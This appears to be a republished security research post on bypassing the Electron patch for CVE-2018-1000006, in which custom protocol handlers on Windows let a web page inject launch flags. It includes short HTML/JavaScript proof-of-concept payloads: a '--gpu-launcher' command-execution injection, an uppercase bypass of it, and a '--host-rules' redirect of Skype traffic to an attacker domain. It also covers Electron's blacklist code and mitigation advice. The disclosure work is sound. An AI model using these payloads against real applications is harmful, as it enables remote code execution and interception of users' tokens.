Under certain circumstances, this bypass leads to session hijacking and remote code execution. The vulnerability is triggered by simply visiting a web page through a browser. Electron apps designed to run on Windows that register themselves as the default handler for a protocol and do not prepend dash-dash in the registry entry are affected.
We reported the issue to the Electron core team (via [email protected]) on May 14, 2018, and received immediate notification that they were already working on a patch. The issue was also reported by Google’s Nicolas Ruff a few days earlier.
On January 22, 2018, Electron released a patch for v1.7.11, v1.6.16 and v1.8.2-beta4 for a critical vulnerability known as CVE-2018-1000006 (surprisingly no fancy name here) affecting Electron-based applications running on Windows that register custom protocol handlers.
The original issue was extensively discussed in many blog posts, and can be summarized as the ability to use custom protocol handlers (e.g. myapp://) from a remote web page to piggyback command line arguments and insert a new switch that Electron/Chromium/Node would recognize and execute while launching the application.
<script>
win.location = 'myapp://foobar" --gpu-launcher="cmd c/ start calc" --foobar='
</script>
Interestingly, on January 31, 2018, Electron v1.7.12, v1.6.17 and v1.8.2-beta5 were released. It turned out that the initial patch did not take into account uppercase characters and led to a bypass in the previous patch with:
<script>
win.location = 'myapp://foobar" --GPU-launcher="cmd c/ start calc" --foobar='
</script>
The patch for CVE-2018-1000006 is implemented in electron/atom/app/command_line_args.cc and consists of a validation mechanism which ensures users won’t be able to include Electron/Chromium/Node arguments after an url (the specific protocol handler). Bear in mind some locally executed applications do require the ability to pass custom arguments.
bool CheckCommandLineArguments(int argc, base::CommandLine::CharType** argv) {
DCHECK(std::is_sorted(std::begin(kBlacklist), std::end(kBlacklist),
[](const char* a, const char* b) {
return base::StringPiece(a) < base::StringPiece(b);
}))
<< "The kBlacklist must be in sorted order";
DCHECK(std::binary_search(std::begin(kBlacklist), std::end(kBlacklist),
base::StringPiece("inspect")))
<< "Remember to add Node command line flags to kBlacklist";
const base::CommandLine::StringType dashdash(2, '-');
bool block_blacklisted_args = false;
for (int i = 0; i < argc; ++i) {
if (argv[i] == dashdash)
break;
if (block_blacklisted_args) {
if (IsBlacklistedArg(argv[i]))
return false;
} else if (IsUrlArg(argv[i])) {
block_blacklisted_args = true;
}
}
return true;
}
As is commonly seen, blacklist-based validation is prone to errors and omissions especially in complex execution environments such as Electron:
We started looking for missed flags and noticed that host-rules were absent from the blacklist. With this flag, one may specify a set of rules to rewrite domain names for requests issued by libchroumiumcontent. This immediately sticks out as a good candidate for subverting the process.
In fact, an attacker can exploit this issue by overriding the host definitions in order to perform completely transparent Man-In-The-Middle:
<!doctype html>
<script>
window.location = 'skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar='
</script>
When a user visits a web page in a browser containing the preceding code, the Skype app will be launched and all Chromium traffic will be forwarded to evil.doyensec.com instead of the original domain. Since the connection is made to the attacker-controlled host, certificate validation does not help as demonstrated in the following video:
https://blog.doyensec.com/public/images/skypeelectronbugpoc.mp4
We analyzed the impact of this vulnerability on popular Electron-based apps and developed working proofs-of-concept for both MITM and RCE attacks. While the immediate implication is that an attacker can obtain confidential data (e.g. oOAuthtokens), this issue can be also abused to inject malicious HTML responses containing XSS -> RCE payloads. With nodeIntegration
enabled, this is simply achieved by leveraging Node’s APIs. When encountering application sandboxing via nodeIntegration: false or sandbox, it is necessary to chain this with other bugs (e.g. nodeIntegration bypass or IPC abuses).
Please note it is only possible to intercept traffic generated by Chromium, and not Node. For this reason, Electron’s update feature, along with other critical functions, are not affected by this vulnerability.
On May 16, 2018, Electron released a new update containing an improved version of the blacklist for v2.0.1, v1.8.7, and v1.7.15. The team is actively working on a more resilient solution to prevent further bypasses. Considering that the API change may potentially break existing apps, it makes sense to see this security improvement within a major release.
In the meantime, Electron application developers are recommended to enforce a dash-dash notation in setAsDefaultProtocolClient
app.setAsDefaultProtocolClient(protocol, process.execPath, [
'--your-switches-here',
'--'
])
or in the Windows protocol handler registry entry
As a final remark, we would like to thank the entire Electron team for their work on moving to a secure-by-default framework. Electron contributors are tasked with the non-trivial mission of closing the web-native desktop gap. Modern browsers are enforcing numerous security mechanisms to ensure isolation between sites, facilitate web security protections and prevent untrusted remote content from compromising the security of the host. When working with Electron, things get even more complicated.
About the author: Luca Carettoni(@lucacarettoni) and John Villamil (@day6reak)
Original post availale here
[adrotate banner=”9″] | [adrotate banner=”12″] |
(Security Affairs – Electron apps, hakcing)
[adrotate banner=”5″]
[adrotate banner=”13″]